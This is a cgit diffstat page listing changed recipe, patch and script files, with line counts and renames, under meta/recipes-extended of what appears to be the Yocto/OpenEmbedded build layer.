summaryrefslogtreecommitdiffstats
path: root/meta/recipes-extended
diff options
context:
space:
mode:
Diffstat (limited to 'meta/recipes-extended')
-rw-r--r--meta/recipes-extended/acpica/acpica_20170303.bb54
-rw-r--r--meta/recipes-extended/acpica/acpica_20240322.bb49
-rw-r--r--meta/recipes-extended/acpica/files/manipulate-fds-instead-of-FILE.patch72
-rw-r--r--meta/recipes-extended/acpica/files/no-werror.patch32
-rw-r--r--meta/recipes-extended/acpica/files/rename-yy_scan_string-manually.patch64
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb28
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc_8.6.9.bb24
-rw-r--r--meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch23
-rw-r--r--meta/recipes-extended/at/at/file_replacement_with_gplv2.patch8
-rw-r--r--meta/recipes-extended/at/at/fix_parallel_build_error.patch35
-rw-r--r--meta/recipes-extended/at/at/makefile-fix-parallel.patch15
-rw-r--r--meta/recipes-extended/at/at/pam.conf.patch40
-rw-r--r--meta/recipes-extended/at/at_3.2.5.bb (renamed from meta/recipes-extended/at/at_3.1.20.bb)60
-rw-r--r--meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb72
-rw-r--r--meta/recipes-extended/bash/bash.inc93
-rw-r--r--meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch226
-rw-r--r--meta/recipes-extended/bash/bash/0001-help-fix-printf-format-security-warning.patch35
-rw-r--r--meta/recipes-extended/bash/bash/bash-memleak-bug-fix-for-builtin-command-read.patch35
-rw-r--r--meta/recipes-extended/bash/bash/build-tests.patch19
-rw-r--r--meta/recipes-extended/bash/bash/execute_cmd.patch17
-rw-r--r--meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch34
-rw-r--r--meta/recipes-extended/bash/bash/fix-run-coproc-run-heredoc-run-execscript-run-test-f.patch45
-rw-r--r--meta/recipes-extended/bash/bash/run-bash-ptests4
-rw-r--r--meta/recipes-extended/bash/bash/run-ptest6
-rw-r--r--meta/recipes-extended/bash/bash/use_aclocal.patch70
-rw-r--r--meta/recipes-extended/bash/bash_4.4.bb59
-rw-r--r--meta/recipes-extended/bash/bash_5.2.21.bb24
-rw-r--r--meta/recipes-extended/bc/bc/0001-dc-fix-exit-code-of-q-command.patch44
-rw-r--r--meta/recipes-extended/bc/bc/libmath.h46
-rw-r--r--meta/recipes-extended/bc/bc/no-gen-libmath.patch24
-rw-r--r--meta/recipes-extended/bc/bc/run-ptest9
-rw-r--r--meta/recipes-extended/bc/bc_1.06.bb26
-rw-r--r--meta/recipes-extended/bc/bc_1.07.1.bb40
-rw-r--r--meta/recipes-extended/bc/files/fix-segment-fault.patch28
-rw-r--r--meta/recipes-extended/blktool/blktool/0001-fix-typos-in-manpage.patch2
-rw-r--r--meta/recipes-extended/blktool/blktool/0002-fix-string-error.patch2
-rw-r--r--meta/recipes-extended/blktool/blktool/0003-Fix-3-d-argument-for-BLKROSET-it-must-be-const-int.patch2
-rw-r--r--meta/recipes-extended/blktool/blktool/0004-fix-ftbfs-glibc-2.28.patch19
-rw-r--r--meta/recipes-extended/blktool/blktool_4-7.1.bb (renamed from meta/recipes-extended/blktool/blktool_4-7.bb)3
-rw-r--r--meta/recipes-extended/bzip2/bzip2-1.0.6/CVE-2016-3189.patch18
-rw-r--r--meta/recipes-extended/bzip2/bzip2-1.0.6/fix-bunzip2-qt-returns-0-for-corrupt-archives.patch55
-rw-r--r--meta/recipes-extended/bzip2/bzip2/Makefile.am (renamed from meta/recipes-extended/bzip2/bzip2-1.0.6/Makefile.am)3
-rw-r--r--meta/recipes-extended/bzip2/bzip2/configure.ac (renamed from meta/recipes-extended/bzip2/bzip2-1.0.6/configure.ac)2
-rw-r--r--meta/recipes-extended/bzip2/bzip2/run-ptest (renamed from meta/recipes-extended/bzip2/bzip2-1.0.6/run-ptest)0
-rw-r--r--meta/recipes-extended/bzip2/bzip2_1.0.6.bb44
-rw-r--r--meta/recipes-extended/bzip2/bzip2_1.0.8.bb70
-rw-r--r--meta/recipes-extended/chkconfig/chkconfig-alternatives-native_1.3.59.bb44
-rw-r--r--meta/recipes-extended/chkconfig/chkconfig/replace_caddr_t.patch33
-rw-r--r--meta/recipes-extended/chkconfig/chkconfig_1.3.58.bb71
-rw-r--r--meta/recipes-extended/cpio/cpio-2.12/0001-Fix-CVE-2015-1197.patch178
-rw-r--r--meta/recipes-extended/cpio/cpio-2.12/0001-Unset-need_charset_alias-when-building-for-musl.patch30
-rw-r--r--meta/recipes-extended/cpio/cpio_2.12.bb12
-rw-r--r--meta/recipes-extended/cpio/cpio_2.15.bb87
-rw-r--r--meta/recipes-extended/cpio/cpio_v2.inc43
-rwxr-xr-xmeta/recipes-extended/cpio/files/run-ptest3
-rw-r--r--meta/recipes-extended/cpio/files/test.sh10
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch105
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch40
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch53
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.11.bb33
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.5.bb29
-rw-r--r--meta/recipes-extended/cronie/cronie/crond_pam_config.patch26
-rw-r--r--meta/recipes-extended/cronie/cronie_1.7.2.bb (renamed from meta/recipes-extended/cronie/cronie_1.5.1.bb)30
-rw-r--r--meta/recipes-extended/cups/cups.inc120
-rw-r--r--meta/recipes-extended/cups/cups/0001-don-t-try-to-run-generated-binaries.patch69
-rw-r--r--meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch27
-rw-r--r--meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch31
-rw-r--r--meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch33
-rw-r--r--meta/recipes-extended/cups/cups/cups-volatiles.conf1
-rw-r--r--meta/recipes-extended/cups/cups/cups_serverbin.patch32
-rw-r--r--meta/recipes-extended/cups/cups/libexecdir.patch35
-rw-r--r--meta/recipes-extended/cups/cups/use_echo_only_in_init.patch15
-rw-r--r--meta/recipes-extended/cups/cups/volatiles.99_cups2
-rw-r--r--meta/recipes-extended/cups/cups_2.2.6.bb6
-rw-r--r--meta/recipes-extended/cups/cups_2.4.7.bb5
-rw-r--r--meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb5
-rw-r--r--meta/recipes-extended/diffutils/diffutils-3.6/0001-Unset-need_charset_alias-when-building-for-musl.patch33
-rw-r--r--meta/recipes-extended/diffutils/diffutils-3.6/0001-explicitly-disable-replacing-getopt.patch30
-rw-r--r--meta/recipes-extended/diffutils/diffutils-3.6/run-ptest3
-rw-r--r--meta/recipes-extended/diffutils/diffutils.inc3
-rw-r--r--meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch29
-rw-r--r--meta/recipes-extended/diffutils/diffutils/run-ptest4
-rw-r--r--meta/recipes-extended/diffutils/diffutils_3.10.bb (renamed from meta/recipes-extended/diffutils/diffutils_3.6.bb)16
-rw-r--r--meta/recipes-extended/ed/ed_1.14.2.bb35
-rw-r--r--meta/recipes-extended/ed/ed_1.20.1.bb38
-rw-r--r--meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch24
-rw-r--r--meta/recipes-extended/ethtool/ethtool_6.7.bb (renamed from meta/recipes-extended/ethtool/ethtool_4.13.bb)19
-rw-r--r--meta/recipes-extended/findutils/findutils.inc9
-rw-r--r--meta/recipes-extended/findutils/findutils/0001-Unset-need_charset_alias-when-building-for-musl.patch30
-rw-r--r--meta/recipes-extended/findutils/findutils/autoconf-2.73.patch24
-rw-r--r--meta/recipes-extended/findutils/findutils/run-ptest57
-rw-r--r--meta/recipes-extended/findutils/findutils_4.6.0.bb17
-rw-r--r--meta/recipes-extended/findutils/findutils_4.9.0.bb27
-rw-r--r--meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8327.patch23
-rw-r--r--meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8560.patch23
-rw-r--r--meta/recipes-extended/foomatic/foomatic-filters_4.0.17.bb44
-rw-r--r--meta/recipes-extended/gawk/gawk/run-ptest29
-rw-r--r--meta/recipes-extended/gawk/gawk_4.2.0.bb48
-rw-r--r--meta/recipes-extended/gawk/gawk_5.3.0.bb87
-rw-r--r--meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch38
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2016-7977.patch33
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2017-11714.patch61
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2017-5951.patch44
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2017-7207.patch39
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2017-7975.patch37
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9216.patch36
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9611.patch34
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9612.patch35
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9726.patch33
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9727.patch35
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9739.patch37
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2017-9835.patch125
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/aarch64/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/arm/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/armeb/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch18
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch36
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch31
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.02-genarch.patch28
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.16-Werror-return-type.patch10
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch37
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch96
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/i586/objarch.h41
l---------meta/recipes-extended/ghostscript/ghostscript/i6861
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/microblazeeb/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/microblazeel/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarchn32eb/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarchn32el/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarchn64eb/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarchn64el/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarcho32eb/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarcho32el/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch36
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/nios2/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/powerpc/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/powerpc64/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/x86-64/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb75
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_9.21.bb137
-rw-r--r--meta/recipes-extended/go-examples/go-helloworld_0.1.bb12
-rw-r--r--meta/recipes-extended/gperf/gperf.inc22
-rw-r--r--meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch29
-rw-r--r--meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch181
-rw-r--r--meta/recipes-extended/gperf/gperf_3.1.bb20
-rw-r--r--meta/recipes-extended/grep/grep/0001-Unset-need_charset_alias-when-building-for-musl.patch33
-rw-r--r--meta/recipes-extended/grep/grep_3.11.bb (renamed from meta/recipes-extended/grep/grep_3.1.bb)24
-rw-r--r--meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch25
-rw-r--r--meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch51
-rw-r--r--meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch31
-rw-r--r--meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch39
-rw-r--r--meta/recipes-extended/groff/groff-1.22.3/0001-Unset-need_charset_alias-when-building-for-musl.patch30
-rw-r--r--meta/recipes-extended/groff/groff-1.22.3/0001-replace-perl-w-with-use-warnings.patch102
-rw-r--r--meta/recipes-extended/groff/groff-1.22.3/groff-1.22.2-correct-man.local-install-path.patch34
-rw-r--r--meta/recipes-extended/groff/groff_1.22.3.bb84
-rw-r--r--meta/recipes-extended/groff/groff_1.23.0.bb78
-rw-r--r--meta/recipes-extended/gzip/files/0001-gzip-port-zdiff-zless-to-Busybox.patch59
-rw-r--r--meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch (renamed from meta/recipes-extended/gzip/gzip-1.8/wrong-path-fix.patch)27
-rw-r--r--meta/recipes-extended/gzip/gzip.inc10
-rw-r--r--meta/recipes-extended/gzip/gzip_1.13.bb (renamed from meta/recipes-extended/gzip/gzip_1.8.bb)22
-rw-r--r--meta/recipes-extended/hdparm/hdparm/wiper.sh-fix-stat-path.patch38
-rw-r--r--meta/recipes-extended/hdparm/hdparm_9.65.bb (renamed from meta/recipes-extended/hdparm/hdparm_9.52.bb)22
-rw-r--r--meta/recipes-extended/images/core-image-full-cmdline.bb4
-rw-r--r--meta/recipes-extended/images/core-image-kernel-dev.bb5
-rw-r--r--meta/recipes-extended/images/core-image-lsb-dev.bb7
-rw-r--r--meta/recipes-extended/images/core-image-lsb-sdk.bb12
-rw-r--r--meta/recipes-extended/images/core-image-lsb.bb14
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller-initramfs.bb (renamed from meta/recipes-extended/images/core-image-testmaster-initramfs.bb)4
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller.bb (renamed from meta/recipes-extended/images/core-image-testmaster.bb)6
-rw-r--r--meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch18
-rw-r--r--meta/recipes-extended/iptables/iptables/0001-fix-build-with-musl.patch46
-rw-r--r--meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch31
-rw-r--r--meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch (renamed from meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch)10
-rw-r--r--meta/recipes-extended/iptables/iptables/ip6tables.rules0
-rw-r--r--meta/recipes-extended/iptables/iptables/ip6tables.service13
-rw-r--r--meta/recipes-extended/iptables/iptables/iptables.rules0
-rw-r--r--meta/recipes-extended/iptables/iptables/iptables.service13
-rw-r--r--meta/recipes-extended/iptables/iptables/types.h-add-defines-that-are-required-for-if_packet.patch49
-rw-r--r--meta/recipes-extended/iptables/iptables_1.6.1.bb49
-rw-r--r--meta/recipes-extended/iptables/iptables_1.8.10.bb123
-rw-r--r--meta/recipes-extended/iputils/files/0001-Fix-header-inclusion-for-musl.patch92
-rw-r--r--meta/recipes-extended/iputils/files/0001-Intialize-struct-elements-by-name.patch52
-rw-r--r--meta/recipes-extended/iputils/files/arping-fix-arping-hang-if-SIGALRM-is-blocked.patch44
-rw-r--r--meta/recipes-extended/iputils/files/debian/targets.diff15
-rw-r--r--meta/recipes-extended/iputils/files/debian/use_gethostbyname2.diff31
-rw-r--r--meta/recipes-extended/iputils/files/nsgmls-path-fix.patch27
-rw-r--r--meta/recipes-extended/iputils/iputils_20240117.bb59
-rw-r--r--meta/recipes-extended/iputils/iputils_s20151218.bb72
-rw-r--r--meta/recipes-extended/less/files/run-ptest3
-rw-r--r--meta/recipes-extended/less/less_643.bb (renamed from meta/recipes-extended/less/less_527.bb)35
-rw-r--r--meta/recipes-extended/libaio/libaio/00_arches.patch194
-rw-r--r--meta/recipes-extended/libaio/libaio/destdir.patch17
-rw-r--r--meta/recipes-extended/libaio/libaio/generic-arch-dectection-for-padding-defines.patch65
-rw-r--r--meta/recipes-extended/libaio/libaio/libaio_fix_for_x32.patch61
-rw-r--r--meta/recipes-extended/libaio/libaio/system-linkage.patch18
-rw-r--r--meta/recipes-extended/libaio/libaio_0.3.113.bb (renamed from meta/recipes-extended/libaio/libaio_0.3.110.bb)16
-rw-r--r--meta/recipes-extended/libarchive/libarchive/CVE-2017-14166.patch37
-rw-r--r--meta/recipes-extended/libarchive/libarchive/CVE-2017-14502.patch37
-rw-r--r--meta/recipes-extended/libarchive/libarchive/bug929.patch38
-rw-r--r--meta/recipes-extended/libarchive/libarchive/configurehack.patch55
-rw-r--r--meta/recipes-extended/libarchive/libarchive/non-recursive-extract-and-list.patch153
-rw-r--r--meta/recipes-extended/libarchive/libarchive_3.7.3.bb (renamed from meta/recipes-extended/libarchive/libarchive_3.3.2.bb)42
-rw-r--r--meta/recipes-extended/libidn/libidn/0001-idn-fix-printf-format-security-warnings.patch694
-rw-r--r--meta/recipes-extended/libidn/libidn/0001-idn-format-security-warnings.patch181
-rw-r--r--meta/recipes-extended/libidn/libidn/avoid_AM_PROG_MKDIR_P_warning_error_with_automake_1.12.patch25
-rw-r--r--meta/recipes-extended/libidn/libidn/dont-depend-on-help2man.patch23
-rw-r--r--meta/recipes-extended/libidn/libidn/gcc7-compatibility.patch334
-rw-r--r--meta/recipes-extended/libidn/libidn/libidn_fix_for_automake-1.12.patch26
-rw-r--r--meta/recipes-extended/libidn/libidn2_2.3.7.bb33
-rw-r--r--meta/recipes-extended/libidn/libidn_1.33.bb44
-rw-r--r--meta/recipes-extended/libmnl/libmnl_1.0.5.bb (renamed from meta/recipes-extended/libmnl/libmnl_1.0.4.bb)9
-rw-r--r--meta/recipes-extended/libnsl/libnsl2/0001-include-sys-cdefs.h-explicitly.patch68
-rw-r--r--meta/recipes-extended/libnsl/libnsl2/0001-nis_call.c-Include-stdint.h-for-uintptr_t-definition.patch27
-rw-r--r--meta/recipes-extended/libnsl/libnsl2/0002-Define-glibc-specific-macros.patch57
-rw-r--r--meta/recipes-extended/libnsl/libnsl2_git.bb23
-rw-r--r--meta/recipes-extended/libnss-nis/libnss-nis.bb31
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch24
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb15
-rw-r--r--meta/recipes-extended/libsolv/libsolv/0001-Add-fallback-fopencookie-implementation.patch250
-rw-r--r--meta/recipes-extended/libsolv/libsolv/0001-repo_rpmdb.c-increase-MAX_HDR_CNT-and-MAX_HDR_DSIZE.patch35
-rw-r--r--meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch34
-rw-r--r--meta/recipes-extended/libsolv/libsolv/0002-Fixes-to-internal-fopencookie-implementation.patch104
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.6.29.bb32
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.28.bb33
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/0001-include-stdint.h-for-uintptr_t.patch32
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/0001-replace-__bzero-with-memset-API.patch30
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/Use-netbsd-queue.h.patch878
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/export_key_secretkey_is_set.patch24
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/ipv6.patch52
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc_1.0.2.bb38
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb33
-rw-r--r--meta/recipes-extended/libuser/libuser/0001-Check-for-issetugid.patch62
-rw-r--r--meta/recipes-extended/libuser/libuser/0001-modules-files.c-parse_field-fix-string-formating-in-.patch34
-rw-r--r--meta/recipes-extended/libuser/libuser/0002-remove-unused-execinfo.h.patch27
-rw-r--r--meta/recipes-extended/libuser/libuser_0.62.bb32
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch42
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/lighttpd21
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf38
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/lighttpd.service12
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.48.bb85
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.76.bb76
-rw-r--r--meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch151
-rw-r--r--meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch32
-rwxr-xr-xmeta/recipes-extended/logrotate/logrotate/run-ptest5
-rw-r--r--meta/recipes-extended/logrotate/logrotate/update-the-manual.patch38
-rw-r--r--meta/recipes-extended/logrotate/logrotate_3.13.0.bb85
-rw-r--r--meta/recipes-extended/logrotate/logrotate_3.21.0.bb114
-rw-r--r--meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch27
-rw-r--r--meta/recipes-extended/lsb/lsb-release/0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch (renamed from meta/recipes-extended/lsb/lsb/0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch)0
-rw-r--r--meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch27
-rw-r--r--meta/recipes-extended/lsb/lsb-release_1.4.bb37
-rwxr-xr-xmeta/recipes-extended/lsb/lsb/init-functions44
-rwxr-xr-xmeta/recipes-extended/lsb/lsb/lsb_killproc6
-rwxr-xr-xmeta/recipes-extended/lsb/lsb/lsb_log_message27
-rwxr-xr-xmeta/recipes-extended/lsb/lsb/lsb_pidofproc6
-rwxr-xr-xmeta/recipes-extended/lsb/lsb/lsb_start_daemon45
-rw-r--r--meta/recipes-extended/lsb/lsb_4.1.bb135
-rw-r--r--meta/recipes-extended/lsb/lsbinitscripts/0001-functions-avoid-exit-1-which-causes-init-scripts-to-.patch24
-rw-r--r--meta/recipes-extended/lsb/lsbinitscripts/functions.patch32
-rw-r--r--meta/recipes-extended/lsb/lsbinitscripts_9.72.bb30
-rw-r--r--meta/recipes-extended/lsb/lsbtest/LSB_Test.sh525
-rw-r--r--meta/recipes-extended/lsb/lsbtest/packages_list49
-rw-r--r--meta/recipes-extended/lsb/lsbtest/session185
-rw-r--r--meta/recipes-extended/lsb/lsbtest_1.0.bb50
-rw-r--r--meta/recipes-extended/lsof/files/lsof-remove-host-information.patch76
-rw-r--r--meta/recipes-extended/lsof/files/remove-host-information.patch123
-rw-r--r--meta/recipes-extended/lsof/lsof_4.89.bb64
-rw-r--r--meta/recipes-extended/lsof/lsof_4.99.3.bb23
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch35
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-add-_GNU_SOURCE-to-pec_listener.c.patch39
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch34
-rw-r--r--meta/recipes-extended/ltp/ltp/0002-Add-knob-to-control-whether-numa-support-should-be-c.patch44
-rw-r--r--meta/recipes-extended/ltp/ltp/0003-Add-knob-to-control-tirpc-support.patch46
-rw-r--r--meta/recipes-extended/ltp/ltp/0004-build-Add-option-to-select-libc-implementation.patch148
-rw-r--r--meta/recipes-extended/ltp/ltp/0005-kernel-controllers-Link-with-libfts-explicitly-on-mu.patch46
-rw-r--r--meta/recipes-extended/ltp/ltp/0007-fix-__WORDSIZE-undeclared-when-building-with-musl.patch31
-rw-r--r--meta/recipes-extended/ltp/ltp/0008-Check-if-__GLIBC_PREREQ-is-defined-before-using-it.patch283
-rw-r--r--meta/recipes-extended/ltp/ltp/0009-fix-redefinition-of-struct-msgbuf-error-building-wit.patch36
-rw-r--r--meta/recipes-extended/ltp/ltp/0010-replace-__BEGIN_DECLS-and-__END_DECLS.patch75
-rw-r--r--meta/recipes-extended/ltp/ltp/0011-Rename-sigset-variable-to-sigset1.patch139
-rw-r--r--meta/recipes-extended/ltp/ltp/0018-guard-mallocopt-with-__GLIBC__.patch33
-rw-r--r--meta/recipes-extended/ltp/ltp/0020-getdents-define-getdents-getdents64-only-for-glibc.patch50
-rw-r--r--meta/recipes-extended/ltp/ltp/0021-Define-_GNU_SOURCE-for-MREMAP_MAYMOVE-definition.patch73
-rw-r--r--meta/recipes-extended/ltp/ltp/0023-ptrace-Use-int-instead-of-enum-__ptrace_request.patch50
-rw-r--r--meta/recipes-extended/ltp/ltp/0024-rt_sigaction-rt_sigprocmark-Define-_GNU_SOURCE.patch70
-rw-r--r--meta/recipes-extended/ltp/ltp/0025-mc_gethost-include-sys-types.h.patch30
-rw-r--r--meta/recipes-extended/ltp/ltp/0026-crash01-Define-_GNU_SOURCE.patch31
-rw-r--r--meta/recipes-extended/ltp/ltp/0027-sysconf01-Use-_SC_2_C_VERSION-conditionally.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp/0028-rt_sigaction.h-Use-sighandler_t-instead-of-__sighand.patch48
-rw-r--r--meta/recipes-extended/ltp/ltp/0030-lib-Use-PTHREAD_MUTEX_RECURSIVE-in-place-of-PTHREAD_.patch35
-rw-r--r--meta/recipes-extended/ltp/ltp/0033-shmat1-Cover-GNU-specific-code-under-__USE_GNU.patch41
-rw-r--r--meta/recipes-extended/ltp/ltp/0034-periodic_output.patch55
-rw-r--r--meta/recipes-extended/ltp/ltp/0035-fix-test_proc_kill-hang.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp/0036-testcases-network-nfsv4-acl-acl1.c-Security-fix-on-s.patch41
-rw-r--r--meta/recipes-extended/ltp/ltp/0037-ltp-fix-format-security-error.patch36
-rw-r--r--meta/recipes-extended/ltp/ltp/0038-generate-reproducible-gzip.patch20
-rw-r--r--meta/recipes-extended/ltp/ltp_20170929.bb123
-rw-r--r--meta/recipes-extended/ltp/ltp_20240129.bb145
-rw-r--r--meta/recipes-extended/lzip/lzip_1.24.1.bb (renamed from meta/recipes-extended/lzip/lzip_1.19.bb)13
-rw-r--r--meta/recipes-extended/lzip/lzlib_1.14.bb39
-rw-r--r--meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch38
-rw-r--r--meta/recipes-extended/man-db/files/99_mandb1
-rw-r--r--meta/recipes-extended/man-db/man-db_2.12.1.bb72
-rw-r--r--meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch31
-rw-r--r--meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch33
-rw-r--r--meta/recipes-extended/man-pages/man-pages_4.11.bb31
-rw-r--r--meta/recipes-extended/man-pages/man-pages_6.06.bb50
-rw-r--r--meta/recipes-extended/man/man/configure_sed.patch32
-rw-r--r--meta/recipes-extended/man/man/man-1.5g-nonrootbuild.patch16
-rw-r--r--meta/recipes-extended/man/man/man-1.5h1-gencat.patch14
-rw-r--r--meta/recipes-extended/man/man/man-1.5h1-make.patch17
-rw-r--r--meta/recipes-extended/man/man/man-1.5i2-initial.patch19
-rw-r--r--meta/recipes-extended/man/man/man-1.5i2-newline.patch15
-rw-r--r--meta/recipes-extended/man/man/man-1.5i2-overflow.patch16
-rw-r--r--meta/recipes-extended/man/man/man-1.5j-i18n.patch16
-rw-r--r--meta/recipes-extended/man/man/man-1.5j-nocache.patch16
-rw-r--r--meta/recipes-extended/man/man/man-1.5j-utf8.patch61
-rw-r--r--meta/recipes-extended/man/man/man-1.5k-confpath.patch15
-rw-r--r--meta/recipes-extended/man/man/man-1.5k-nonascii.patch18
-rw-r--r--meta/recipes-extended/man/man/man-1.5k-sofix.patch24
-rw-r--r--meta/recipes-extended/man/man/man-1.5m2-bug11621.patch15
-rw-r--r--meta/recipes-extended/man/man/man-1.5m2-buildroot.patch52
-rw-r--r--meta/recipes-extended/man/man/man-1.5m2-no-color-for-printing.patch15
-rw-r--r--meta/recipes-extended/man/man/man-1.5m2-sigpipe.patch30
-rw-r--r--meta/recipes-extended/man/man/man-1.6e-i18n_whatis.patch145
-rw-r--r--meta/recipes-extended/man/man/man-1.6e-mandirs.patch31
-rw-r--r--meta/recipes-extended/man/man/man-1.6e-new_sections.patch15
-rw-r--r--meta/recipes-extended/man/man/man-1.6e-ro_usr.patch33
-rw-r--r--meta/recipes-extended/man/man/man-1.6e-security.patch62
-rw-r--r--meta/recipes-extended/man/man/man-1.6e-use_i18n_vars_in_a_std_way.patch160
-rw-r--r--meta/recipes-extended/man/man/man-1.6e-whatis2.patch59
-rw-r--r--meta/recipes-extended/man/man/man-1.6g-compile-warnings.patch105
